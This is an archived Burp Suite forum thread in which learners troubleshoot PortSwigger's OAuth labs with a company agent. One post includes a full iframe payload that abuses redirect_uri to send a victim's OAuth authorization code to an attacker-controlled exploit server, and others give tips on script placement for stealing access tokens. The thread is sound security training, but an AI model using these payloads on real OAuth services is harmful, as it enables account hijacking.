Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

OAuth authentication labs

Mohamed | Last updated: Jun 12, 2024 03:41PM UTC

Hello, I have an issue with exploit server in all labs in Oauth authentication when deliver exploit to victim they don't open the /exploit path i don't get any log about if victim request this path i even tried to leave the Hello, World! message and still the victim don't request the path i tried one of csrf labs to check and the exploit server works their

Ben, PortSwigger Agent | Last updated: Jun 13, 2024 07:17AM UTC

Hi Mohamed, Are you able to provide us with some specific details of the steps you have carried out on a specific lab so that we can double check this?

Emmanuel | Last updated: Jul 13, 2024 01:43AM UTC

Same here as well, I followed the community solution and I am still not able to get the access token in the logs for the "Stealing OAuth access tokens via a proxy page" Lab. It's been days and it still does not work

Emmanuel | Last updated: Jul 13, 2024 02:03AM UTC

For anyone having this problem, I will recommend putting the script tag before framing the page, this worked for me.

Adéla | Last updated: Aug 17, 2024 07:50PM UTC

Thank you Emmanuel! I had the same issue and putting <script> in the beginning of the Body (I had to delete the "Hello world") worked and the victim finally accessed the server. I am still wondering how is it possible that the Portswigger Agents are able to solve the lab without this modification.

Ben, PortSwigger Agent | Last updated: Aug 19, 2024 08:16AM UTC

Hi, Which specific lab are you referring to here?

Trietp | Last updated: Oct 08, 2024 05:51AM UTC

Hi guys, I'm working on the OAuth account hijacking via redirect_uri lab and experiencing same issue. I tried to add <script> tag in body as suggested from Emmanuel but it didn't work. When I keep the payload like below, I click "View Exploit" then it returned my code, but when I sent to victim, nothing return. My Payload: File: /exploit Head: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Body: <iframe src="https://oauth-0a37000f0383b569801883ef02870003.oauth-server.net/auth?client_id=t0ajoy3gks55aqv9okbyu&redirect_uri=https://exploit-0a6700940329b5df8041847b01e00016.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Ben, PortSwigger Agent | Last updated: Oct 08, 2024 07:41AM UTC

Hi, If you view the access log are you seeing any interactions from the victim user when you do deliver the exploit?

Trietp | Last updated: Oct 08, 2024 08:47AM UTC

Hi Ben, There is no interations after I clicked the button to send to victim. When I click "View Exploit", it showed my code in the access log, but when I click send to victim and go to the Access Log, I don't see any code after that, even I waited for 15 mins.

Ben, PortSwigger Agent | Last updated: Oct 08, 2024 10:13AM UTC

Hi, I did just run through this particular lab a moment ago and was able to solve it. Do the issues that you are experiencing persist across different lab instances (so if you let your current lab expire and relaunch the lab so that you get a different lab URL)?

Trietp | Last updated: Oct 08, 2024 10:50AM UTC

Hi Ben, Actually I got this issue from yesterday, then I also thought same as you, so I wait until today to retry in different session, but the issue still persist. I'm not sure why :(

Ben, PortSwigger Agent | Last updated: Oct 09, 2024 04:48PM UTC

Hi, Your payload looks correct to me - all I can really suggest is to keep trying this lab. We have had periods recently where the victim user does not always behave appropriately - this normally resolves itself after using several lab instances.

Sukon | Last updated: Oct 09, 2024 05:48PM UTC